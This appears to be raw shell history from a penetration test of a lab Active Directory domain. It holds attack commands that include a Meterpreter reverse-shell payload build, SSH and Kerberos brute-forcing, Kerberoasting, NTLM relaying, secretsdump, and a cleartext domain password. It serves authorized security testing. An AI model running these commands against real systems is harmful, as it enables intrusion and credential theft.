sudo apt install responder
resonder
git clone https://github.com/SpiderLabs/Responder.git
ls
cd Responder
ls
./Responder.py
sudo ./Responder.py
find iname responder
cd ../
Rebues.exe
rubeus
rubeus kerberoast
GetUserSPNs.py
impacket-GetUserSPNs
impacket-GetUserSPNs -di-ip 10.0.1.6
impacket-GetUserSPNs -dc-ip 10.0.1.6
impacket-GetUserSPNs -target 10.0.1.6
impacket-GetUserSPNs target 10.0.1.6
impacket-GetNPUsers.py -format hashcat -dc-ip 10.0.1.6 allports.local/APT-DC-01
responder


_raw: : 1760807124:0;nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 10.0.1.99


_raw: : 1760807114:0;hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://10.0.1.99


_raw: : 1760807098:0;hydra -l root -P /usr/share/wordlists/rockyou.txt 10.0.1.99


_raw: : 1760806993:0;./ghostwriter-cli-linux config get admin_password


_raw: : 1760806845:0;awk 'BEGIN{c=0} /-----BEGIN CERTIFICATE-----/{c++} c==1{print}' mysql-certs.pem > server-cert.pem


_raw: : 1760806830:0;openssl s_client -connect 10.0.1.99:3306 -starttls mysql -showcerts </dev/null 2>/dev/null > mysql-certs.pem


_raw: : 1760806816:0;openssl s_client -connect 10.0.2.88:3306 -starttls mysql -showcerts </dev/null 2>/dev/null > mysql-certs.pem


_raw: : 1760806806:0;nslookup chat.allports.tours @10.0.1.1


_raw: : 1760806779:0;nmblookup -A allports.tours


_raw:
cd ~
ls
cd University-of-North-Georgia
ls
cd scripts
./starting.sh 10.0.1.15
ls
cd ..
ls
cd Useful
ls
unzip mindmap.zip
thunar
ls
cp mindmap /home/pentester
cp mindmap.zip /home/pentester
sudo cp mindmap.zip /home/pentester
ls
cd mindmap
ls
cals -la
ls -la
cat Timeline.docx
nmap  \xB3p- 10.0.1.15 -oN nmap_10.0.1.15_tcpFullPorts.txt
nmap -p- 10.0.1.15 -oN nmap_10.0.1.15_tcpFullPorts.txt
Nmap  \xB3p22,3306,8080,8081,8090,8091 -A 10.0.1.15 -oN nmap_10.0.1.15_aggressive.txt
nmap  \xB3p22,3306,8080,8081,8090,8091 -A 10.0.1.15 -oN nmap_10.0.1.15_aggressive.txt
nmap -p22,3306,8080,8081,8090,8091 -A 10.0.1.15 -oN nmap_10.0.1.15_aggressive.txt
ls
sudo cp nmap_10* /home/pentester
ls
cd ..
ls
cd ..
ls
cd Spit
ls
cat README.md
ls
nano targets.txt
python Spit.py -t targets.txt -u Wordlists/usernames.txt -p Wordlists/passwords.txt
mysql -hlep
mysql -help
mysql -h
mysql --help
mysql -h 10.0.1.15 -u root
mysql -h 10.0.1.15 -u root -p
python Spit.py -t targets.txt -U root -p Wordlists/passwords.txt
python Spit.py -t targets.txt -u root -p Wordlists/passwords.txt
python Spit.py -t targets.txt -u root -p /usr/share/wordlists
unzip /usr/share/wordlists/rockyou.txt.gz
gunzip /usr/share/wordlists/rockyou.txt.gz
sudo gunzip /usr/share/wordlists/rockyou.txt.gz
ls
python Spit.py -t targets.txt -u root -p /usr/share/wordlists/rockyou.txt
mysql -h 10.0.1.15 -u admin -p
mysql -h 10.0.1.15 -u admin
mysql -h 10.0.1.15 -u admin
nano master_target.txt
python Spit.py -t master_target.txt -u Wordlists/usernames.txt -p Wordlists/passwords.txt
hydra -L Wordlists/usernames.txt -P Wordlists/passwords.txt 10.0.1.14 ssh
python Spit.py -t master_target.txt -u Wordlists/usernames.txt -p Wordlists/passwords.txt
ssh root@10.0.1.15
ssh root@10.0.1.14
ssh root@10.0.1.11
ssh root@10.0.1.10
ssh root@10.0.1.30
ssh root@10.0.1.99
ls
mysql 10.0.1.15 -u root
mysql -h 10.0.1.15 -u root
mysql -h 10.0.1.15 -u root -p
mysql -h 10.0.1.15 -u admin -p
ls
cd ..
ls
cd Hawkeye
ls
pip install requirements.txt
pip install -r requirements.txt
cd ..
pip install -r requirements.txt
cat README.md
python3 hawkeye.py https://10.0.1.14/


_raw:
cd /usr/share/wordlists
ls
cat metasploit
open metasploit
cd metasploit
ls


_raw: : 1760806752:0;find / -name "jconsole.exe"


_raw: : 1760806715:0;impacket-ntlmrelayx -t ldaps://10.0.1.6 --remove-mic -smb2support --interactive


_raw:
ntlmrelayx.py -t ldaps://10.0.1.6 --remove-mic -smb2support --interactive
impacket-ntlmrelayx -t ldaps://10.0.1.6 --remove-mic -smb2support --interactive
ps aux | gpep ntlm
ps aux | grep ntlm
ps aux | grep py
kill 711151
sudo kill 711151


_raw:
ffuf
ffuf -help
ffuf -u http://10.0.1.11/FUZZ


_raw: : 1760806637:0;xfreerdp3 /v: 10.0.1.21 /cert:ignore /u:administrator


_raw: : 1760806560:0;openssl s_client -connect 10.0.1.99:3306 -starttls mysql -showcerts


_raw: : 1760806543:0;./ghostwriter-cli-linux containers up --dev


_raw: : 1760806514:0;./ghostwriter-cli-linux containers down


_raw: : 1760806509:0;openssl s_client -connect 10.0.1.99:3306 -starttls mysql -showcerts\


_raw: : 1760806455:0;mysql -h 10.0.1.99 -u anonymous -p --ssl-ca=mysql-certs.pem\


_raw: : 1760806393:0;mysql -h 10.0.1.99 -u root -p --ssl-mode=REQUIRED --ssl-verify-server-cert=FALSE\


_raw: : 1760806321:0;mysql -u Admin -h 10.0.1.99 --ssl-verify-server-cert=FALSE


_raw: : 1760806316:0;mysql -u Admin -h 10.0.1.15 --ssl-verify-server-cert=FALSE


_raw: : 1760806307:0;mysql -u rdavis -h 10.0.1.15 --ssl-verify-server-cert=FALSE


_raw: : 1760806304:0;crackmapexec smb 10.0.1.6 -u usernames.txt -p passwords.txt


_raw: : 1760806301:0;mysql -u rdavis -h 10.0.1.99 --ssl-verify-server-cert=FALSE


_raw: : 1760806284:0;mysql -u root -h 10.0.1.99 --ssl-verify-server-cert=FALSE


_raw: : 1760806273:0;mysql -u root -h 10.0.1.15 --ssl-verify-server-cert=FALSE


_raw:
: 1760806266:0;mysql -h 10.0.1.99 -u anonymous -p --ssl-mode=VERIFY_CA --ssl-ca=mysql-certs.pem\
# enter password when prompted\


_raw: : 1760806263:0;mysql -h 10.0.1.15 --ssl-verify-server-cert=FALSE


_raw:
: 1760806256:0;mysql -h 10.0.1.99 -u root -p --ssl-mode=VERIFY_CA --ssl-ca=mysql-certs.pem\
# enter password when prompted\


_raw: : 1760806237:0;crackmapexec smb 10.0.1.6 -u usernames.txt -p passwords.txt


_raw:
: 1760806194:0;# Retrieve the certificate chain for the MySQL TLS session\
openssl s_client -connect 10.0.1.99:3306 -starttls mysql -showcerts </dev/null 2>/dev/null > mysql-certs.pem\


_raw: : 1760806164:0;msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.254.204 LPORT=4444 -f exe -o rev20.exe


_raw:
ls
vi win.nmap
nxc smb 10.0.1.6
dig axfr allports.local@10.0.1.6
man dig
dig -t axfr allports.local@10.0.1.6
nxc smb -M coerce_plus 10.0.1.6
ls
vi win.nmap
history
nmap -sV -T 4 -Pn -oA -p- --script vulners -A windows 10.0.1.6 10.0.1.20 10.0.1.21
nmap -sV -T 4 -Pn -oA windows -p- --script vulners -A  10.0.1.6 10.0.1.20 10.0.1.21
smbclient -L 10.0.1.20
ls
vi longscan.nmap
ps aux | grep nmap
ls
ps aux | grep nmap
ls
vi windows.nmap
vi longscan.nmap
mysql -h 10.0.1.15 -u root
mysql -h 10.0.1.15
mysql -h 10.0.1.15 --ssl-mode=DISABLED
mysql -h 10.0.1.15 --skip-ssl-verify-server-cert
mysql -h 10.0.1.15 -u root --skip-ssl-verify-server-cert
mysql -h 10.0.1.15 -u '' --skip-ssl-verify-server-cert
gobuster
gobuster dir -u https://10.0.1.14 -w /usr/share/wordlists/dirb/big.txt
gobuster dir -u https://10.0.1.14 -w /usr/share/wordlists/dirb/big.txt -Z
gobuster dir --Z -u https://10.0.1.14 -w /usr/share/wordlists/dirb/big.txt
gobuster dir -u https://10.0.1.14 -w /usr/share/wordlists/dirb/big.txt
gobuster dir -u https://10.0.1.14 -w /usr/share/wordlists/dirb/big.txt -k
ls
gobuster dir -u https://10.0.1.14 -w /usr/share/wordlists/dirb/big.txt -k -r
gobuster dir -u http://10.0.1.14 -w /usr/share/wordlists/dirb/big.txt -k -r
wget http://10.0.254.206:8080
wget http://10.0.254.206:8080/note
wget http://10.0.254.206:8000/note
vi note
gobuster dir -u http://10.0.1.14:8041 -w /usr/share/wordlists/dirb/big.txt -k -r
gobuster dir -u http://10.0.1.14:8041 -w /usr/share/wordlists/dirb/big.txt
gobuster dir -u http://10.0.1.11:8041 -w /usr/share/wordlists/dirb/big.txt
gobuster dir -u http://10.0.1.11:8045 -w /usr/share/wordlists/dirb/big.txt
ls
vi note
gobuster dir -u http://10.0.1.11:8000 -w /usr/share/wordlists/dirb/big.txt
gobuster dir -u http://10.0.1.11:8000 -w /usr/share/wordlists/dirb/big.txt -r
ls
vi note
gobuster dir -u http://10.0.1.15:5001 -w /usr/share/wordlists/dirb/big.txt
gobuster dir -u http://10.0.1.14:5001 -w /usr/share/wordlists/dirb/big.txt
gobuster -h
gobuster dir -h
gobuster dir -u http://10.0.1.14:5001 -w /usr/share/wordlists/dirb/big.txt --status-codes *
gobuster dir -u http://10.0.1.14:5001 -w /usr/share/wordlists/dirb/big.txt --status-codes 404
gobuster dir -u http://10.0.1.14:5001 -w /usr/share/wordlists/dirb/big.txt --status-codes-blacklist ''
gobuster dir -u http://10.0.1.14:5001 -w /usr/share/wordlists/dirb/big.txt --status-codes-blacklist '' --status-codes 200,404,403,301,300
gobuster dir -u http://10.0.1.14:5001 -w /usr/share/wordlists/dirb/big.txt --wildcard
gobuster dir -u http://10.0.1.14:5001 -w /usr/share/wordlists/dirb/big.txt -s "200,204,301,302,303,307,401,403,404"
gobuster dir -u http://10.0.1.14:5001 -w /usr/share/wordlists/dirb/big.txt -s "200,204,301,302,303,307,401,403"
gobuster dir -u http://10.0.1.14:5001 -w /usr/share/wordlists/dirb/big.txt
gobuster dir h
gobuster dir -h
gobuster dir -u http://10.0.1.14:5001 -w /usr/share/wordlists/dirb/big.txt --exclude-length 144
curl -X OPTIONS http://10.0.1.11:5001
curl -X OPTIONS http://10.0.1.14:5001
curl http://10.0.1.14:5001
curl -X POST http://10.0.1.14:5001
curl -X HEAD http://10.0.1.14:5001
curl -I HEAD http://10.0.1.14:5001
curl --head http://10.0.1.14:5001
curl -X OPTIONS http://10.0.1.14:5001
vi note
ps aux
ps aux | grep gobuster
history
ps aux | less
ps aux | grep nmap
kill 697925
kill 697926
nxc smb 10.0.1.6 -u a -p '' --shares
nxc smb 10.0.1.20 -u a -p '' --shares
nxc smb 10.0.1.21 -u a -p '' --shares
nxc smb -M smbghost 10.0.1.6
nxc smb -M smbghost 10.0.1.20
nxc smb -M smbghost 10.0.1.21
\
\
c
vi note
rpcclient -U "" -N 10.0.1.6
vi note


_raw: : 1760806145:0;msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.254.204 LPORT 4444 -f exe -o rev20.exe


_raw: : 1760806132:0;crackmapexec smb 10.0.1.6 -u usernames.txt -p passwords.txt


_raw: : 1760806069:0;gvm-cli tls --hostname 10.0.254.207 --port 9390 --gmp-username admin --gmp-password admin


_raw:
sudo vim /etc/hosts
gobuster dir -u http://10.0.1.10:6768 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
nc 10.0.1.10 6768


_raw: : 1760806057:0;gvm-cli tls --hostname 10.0.254.207 --port 9390 -gmp-username admin -gmp-password admin


_raw: : 1760806033:0;gvm-cli tls --hostname 10.0.254.207 -gmp-username admin -gmp-password admin


_raw: : 1760805968:0;mysql -h 10.0.1.99 --skip-ssl-verify-server-cert -u root -p


_raw:
ping chat.allports.tours
cat /etc/resolv.conf
ping chat.allports.local
vim /etc/hosts
sudo vim /etc/hosts
ls
cd Downloads
ls
cd saved
ls
cd cyberchef
ls
xdg-open CyberChef_v10.19.4.html
curl 10.0.1.10:6768
gobuster dir -u http://10.0.1.10:6768 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
sudo nmap 10.0.1.10 -p-
nc 10.0.1.10 6768
ssh 10.0.254.202


_raw: : 1760805956:0;mysql -h 10.0.1.15 --skip-ssl-verify-server-cert -u root -p


_raw: : 1760805953:0;mysql -h 10.0.1.15 --skip-ssl-verify-server-cert -u root


_raw: : 1760805868:0;pip install gvm-tools --force


_raw:
ls
cd ../..
cd ung_github
ls
cd University-of-North-Georgia
ls
cd Hawkeye
ls
rm -r results
ls
./hawkeye.py -h
./hawkeye.py --no-subdomains http://10.0.1.11


_raw: : 1760805744:0;greenbone-feed-sync --type SCAP


_raw: : 1760805729:0;greenbone-feed-sync --type GVMD_DATA


_raw:
ipconfig
ip a
nbtscan -v -r 10.0.1.0/24
nbtscan -v -r 10.0.1.6
smbmap -H 10.01.6
smbmap -H 10.0.1.6
msfconsole


_raw: : 1760805676:0;curl bb-a173.rooms.allports.tours/admin.html -I


_raw: : 1760805630:0;python3 secretsdump.py APT-DC-01.allports.local/rdavis:rosdav50@10.0.1.6


_raw: : 1760805585:0;ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +\


_raw: : 1760805505:0;nikto -h bb-b143.rooms.allports.tours


_raw:
cd ..
ls
cd ..
cd ung_github
ls
cd University-of-North-Georgia
ls
cd Hawkeye
ks
ls
pip install .
python3 -m venv ~/venv
source ~/venv/bin/activate
ls
pip install .
pip install requirements.txt
clear
pip install -r requirements.txt
chmod +x hawkeye.py
./hawkeye.py http://10.0.1.11


_raw: : 1760805447:0;ffuf -c -u 'http://10.0.1.30:8096/web/#/FUZZ' -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-files.txt -o 30:8096-ffuf.out


_raw: : 1760805394:0;ffuf -c -u 'http://10.0.1.30:8096/web/#/login.html?serverid=25c307497b4b4ce9aa2f834c894ea1a5&url=/FUZZ' -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-files.txt


_raw: : 1760805365:0;git clone https://github.com/xonoxitron/regreSSHion.git


_raw: : 1760805350:0;kerbrute bruteuser -d allports.local --dc 10.0.1.6 ../password.txt dcastillo


_raw: : 1760805345:0;kerbrute bruteuser -d allports.local --dc-ip 10.0.1.6 ../password.txt dcastillo


_raw: : 1760805339:0;kerbrute bruteuser -d allports.local --dc-ip 10.0.1.6 ../password dcastillo


_raw: : 1760805315:0;nmap -sV -p 3306 --script=mysql-info,mysql-empty-password -oN nmap-mysql.txt 10.0.1.99


_raw: : 1760805273:0;kerbrute bruteuser -d allports.local --dc 10.0.1.6 /usr/share/wordlists/rockyou.txt ipowell


_raw: : 1760805267:0;kerbrute bruteuser -d allports.local --dc-ip 10.0.1.6 /usr/share/wordlists/rockyou.txt ipowell


_raw:
cd /opt
ls
git clone https://gitlab.com/invuls/pentest-projects/pcf.git
cd /home/pentester
ls
git clone https://gitlab.com/invuls/pentest-projects/pcf.git
cd pcf
ls
cat docker-compose.yml
docker compose up -d
sudo apt install docker-compose
docker compose
ls
docker compose up -d
docker ps
docker compose up -d
ls
cat requirements.txt | grep google-genai
vim requirements.txt
docker compose up -d
ls
sudo vim requirements_unix.txt
docker compose up -d
docker ps
ufw
sudo apt install ufw
ls
docker ps
ss -tulnp
docker ps
clear
docker ps
ls
docker compose up -d
docker ps
ss -tulnp
docker ps
docker logs pcf-web-1
ls
cat requirements_windows.txt | grep google-genai
ls
cat requirements_windows.txt | less
python --version
vim requirements_unix.txt
docker compose up -d
docker ps
docker logs pcf-web-1
docker image prune
docker ps
docker image prune
docker image ls
docker rmi d3bce63d2e64
docker ps
docker compose down
docker rmi d3bce63d2e64
docker compose up -d
wget http:10.0.1.15:8081/web-api.yaml
cd ~
ls
vim apiDocs.yml
vim hosts.txt


_raw: : 1760805257:0;ffuf -c -u http://10.0.1.30:8096/web/#/login.html?serverid=25c307497b4b4ce9aa2f834c894ea1a5&url=/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-files.txt


_raw: : 1760805247:0;kerbrute bruteuser -d allports.local --dc-ip 10.0.1.6 /usr/share/wordlists/rockyou.txt.gz


_raw: : 1760805186:0;ffuf -c -recursion -u http://10.0.1.30:8096/web/#/login.html?serverid=25c307497b4b4ce9aa2f834c894ea1a5&url=/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-files.txt


_raw: : 1760805172:0;kerbrute userenum -d allports.local --dc 10.0.1.6 ../usernames.txt


_raw: : 1760805161:0;kerbrute userenum -d allports.local --dc-ip 10.0.1.6 ../usernames.txt


_raw: : 1760805149:0;kerbrute userenum -d allports.local ../usernames.txt


_raw: : 1760805102:0;ldapsearch -LLL -x -H ldap://allports.local -b'' -s base '(objectclass=\*)'


_raw: : 1760805052:0;mitm6 -d allports.local --ignore-nofqnd


_raw: : 1760804996:0;smbclient -L \\allports.local -N


_raw: : 1760804994:0;smbclient -L \\allports.local\ -N


_raw: : 1760804988:0;smbclient -L \\allports.local\Public -N


_raw: : 1760804981:0;impacket-GetNPUsers allports.local/ -no-pass -usersfile ~/ad_users.txt -dc-ip 10.0.1.6 -request


_raw: : 1760804972:0;smbclient -L \\allports.local\Public -I 10.0.1.6 -N


_raw: : 1760804967:0;wget -q https://www.adminer.org/latest.php -O adminer.php


_raw: : 1760804951:0;mkdir -p ~/adminer && cd ~/adminer


_raw: : 1760804908:0;smbclient -L \\allports.local\ -I 10.0.1.6 -N -U users


_raw: : 1760804875:0;smbclient -L \\allports.local\ADMIN$ -I 10.0.1.6 -N


_raw: : 1760804812:0;smbclient -L \\allports.local\public -I 10.0.1.6 -N


_raw: : 1760804810:0;adminer enumerate-users -d allports.local -u rdavis -p rosdav50


_raw: : 1760804727:0;./ghostwriter-cli-linux containers up


_raw: : 1760804701:0;./ghostwriter-cli-linux containers down --dev


_raw: : 1760804694:0;sudo nmap -sV -sC -p8096 --version-intensity 9 --script=vulners -T4 -vv -oN 30_script_scan 10.0.1.30


_raw: : 1760804672:0;sudo nmap -sV -sC -p22,8096 --version-intensity 9 --script=vulners -T4 -vv -oN 30_version_scan 10.0.1.30


_raw: : 1760804663:0;./ghostwriter-cli-linux containers up --dev


_raw: : 1760804653:0;kerbrute passwordspray -d allports.local --dc 10.0.1.6 ../usernames.txt Pass1word


_raw:
smbclient -N //10.0.1.6
smbclient -L //10.0.1.6/
ip a
cd Desktop
ls
cd gettoterminal
ls
cd University-of-North-Georgia
ls
cd scripts
ls
cd ..
ls
cd Spit
ls
python3 Spit.py ssh 10.0.1.10
cat README.md
python3 Spit.py ssh 10.0.1.10 "ssh"
cd Wordlists
s
ls
cd ..
python3 Spit.py -u Wordlists/usernames.txt -p Wordlists/passwords.txt 10.0.1.10 "ssh"
echo "10.0.1.10 "ssh" " > targets.txt
cat targets.txt
python3 Spit.py -t targets.txt -u Wordlists/usernames.txt -p Wordlists/passwords.txt 10.0.1.10 "ssh"
python3 Spit.py -t targets.txt -u Wordlists/usernames.txt -p Wordlists/passwords.txt
cat ~/password.txt
ip a
ls
cd ..
cd -
ls
cd University-of-North-Georgia
ls
cd wordlists
ls
cd cgi-bin-enum-wordlists
ls
cd ..
ls
cd ..
ls
cd Spit
ls
cd Wordlists
ls
ls -lah
wc -l *
cat usernames.txt
ls
hydra -L usernames.txt -P passwords.txt 10.0.1.10 ssh
hydra -l root -e n ssh://10.0.1.10
ssh root@10.0.1.10
ssh gvm@10.0.254.207
ssh root@10.0.1.10


_raw: : 1760804643:0;./ghostwriter-cli-linux containers down --dev


_raw: : 1760804636:0;./ghostwriter-cli-linux conatainers down --dev


_raw: : 1760804631:0;kerbrute passwordspray -d 10.0.1.6 ../usernames.txt Pass1word


_raw: : 1760804613:0;./ghostwriter-cli-linux config allowhost "*"


_raw:
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-10-18 16:23:25Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: allports.local0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: allports.local0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
5986/tcp open  ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: Host: APT-DC-01; OS: Windows; CPE: cpe:/o:microsoft:windows
Nmap scan report for 10.0.1.10
Host is up (0.00077s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap scan report for 10.0.1.11
Host is up (0.00079s latency).
Not shown: 995 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http
8000/tcp open  http    Uvicorn
8045/tcp open  http    Uvicorn
8081/tcp open  http    Node.js Express framework
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF:0\x20<head>\n\x20\x20\x20\x20<meta\x20charset=\"utf-8\"\x20/>\n\x20\x20
SF:\x20\x20<base\x20href=\"/\"\x20/>\n\x20\x20\x20\x20<meta\x20name=\"them
SF:e-color\"\x20content=\"#171717\"\x20/>\n\x20\x20\x20\x20<meta\x20name=\\
SF:"mobile-web-app-capable\"\x20content=\"yes\"\x20/>\n\x20\x20\x20\x20<me\
SF:ta\x20name=\"apple-mobile-web-app-capable\"\x20content=\"yes\"\x20/>\n\\
SF:x20\x20\x20\x20<meta\x20name=\"apple-mobile-web-app-status-bar-style\"\\
SF:x20content=\"black-translucent\"\x20/>\n\x20\x20\x20\x20<meta\x20name=\\
SF:"description\"\x20content=\"LibreChat\x20-\x20An\x20open\x20source\x20c
SF:hat\x20application\x20with\x20support\x20for\x20multiple\x20AI\x20model
vim full_scan.txt
nmap 10.0.1.1/24 -sV > full_scan.txt
cat full_scan.txt
explorer
ls
sudo apt update && sudo apt install -y bloodhound
sudo bloodhound-setup
sudo vim /etc/bhapi/bhapi.json
sudo bloodhound


_raw: : 1760804600:0;./ghostwriter-cli-linux config getadminpassword


_raw: : 1760804599:0;kerbrute passwordspray -d allports.local ../usernames.txt Pass1word


_raw:
[200~Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-18 12:23 EDT
Nmap scan report for 10.0.1.1
Host is up (0.00057s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE    VERSION
53/tcp open  tcpwrapped
Nmap scan report for 10.0.1.6
Host is up (0.00072s latency).
Not shown: 986 closed tcp ports (reset)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus


_raw: : 1760804542:0;hashcat -m 13100 kerberoastablesDC.txt /usr/share/wordlists/rockyou.txt


_raw: : 1760804413:0;mv kerbrute /usr/local/bin/


_raw:
xfreerdp
sudo apt install xfreerdp3
sudo su
sudo apt install xfreerdp
sudo apt install xfreerdp3
xfreerdp
sudo apt install freerdp3
sudo apt install freerdp


_raw: : 1760804371:0;sudo nmap -sV -p22,8096 --version-all --script=vulners -T4 -vv -oN 30_version_scan 10.0.1.30


_raw: : 1760804350:0;impacket-GetUserSPNs -outputfile kerberoastablesDC.txt -dc-ip 10.0.1.6 'allports.local/rdavis:rosdav50'


_raw:
: 1760804344:0;sudo apt update\
sudo apt install -y git build-essential\
# install Go if not already present\
sudo apt install -y golang\


_raw: : 1760804321:0;impacket-GetUserSPNs -outputfile kerberoastablesDC.txt -dc-ip 10.0.1.6 'allports.local/rdavis:rosdav50'


_raw:
theharvester 10.0.1.11
theHarvester 10.0.1.11
theHarvester -d 10.0.1.11


_raw: : 1760804194:0;git clone https://github.com/ropnop/kerbrute.git


_raw:
ls
clear
ls
cd setup
ls
clear
ls
cd bigmem
ls
cd ..
ls
bloodhound
free -h
sudo vi /etc/bhapi/bhapi.json
bloodhound
ip a
sudo apt-get install flameshot
ls
clear
ls